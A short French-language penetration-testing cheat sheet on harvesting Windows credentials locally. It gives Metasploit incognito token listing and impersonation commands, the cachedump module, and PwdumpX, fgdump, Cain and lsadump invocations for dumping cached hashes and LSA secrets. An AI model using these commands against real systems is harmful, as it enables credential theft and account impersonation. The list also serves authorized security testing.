Récupération locale des empreintes

- Dans la mémoire
  - `Metasploit`
    - `meterpreter> use incognito`
    - `meterpreter> list_tokens -u`
    - `meterpreter> impersonate token <DOMAIN\username>`
  - `wce`
  - `PSH Toolkit` de Core Security (<Seven et 2K08)
    - `whosthere` permet de lister les sessions de connexion présentes en mémoire
      - `whosthere.exe` ou `whosthere-alt.exe`
  - `MSVCTL` (<Seven et 2K08)

Récupération locale des données d'authentification

- Les données d'authentification en cache (`mscash`)
- Outils
  - `Metasploit`
    - `meterpreter> run post/windows/gather/cachedump`
  - `PwdumpX 1.4`
    - `c:\> PwdumpX -c <cible> <identifiant> <mot_de_passe>`
  - `Fgdump`
    - `c:\> fgdump -w -h <cible> -u <identifiant> -p <mot_de_passe>`
  - `Cain`
    - Onglet Decoders, LSA Secrets, Bouton « + »
- Anciennement
  - `Cachedump`
  - `Lsadump2 (avant Windows XP et 2003)`
  - `lsadump <PID_de_lsass.exe>`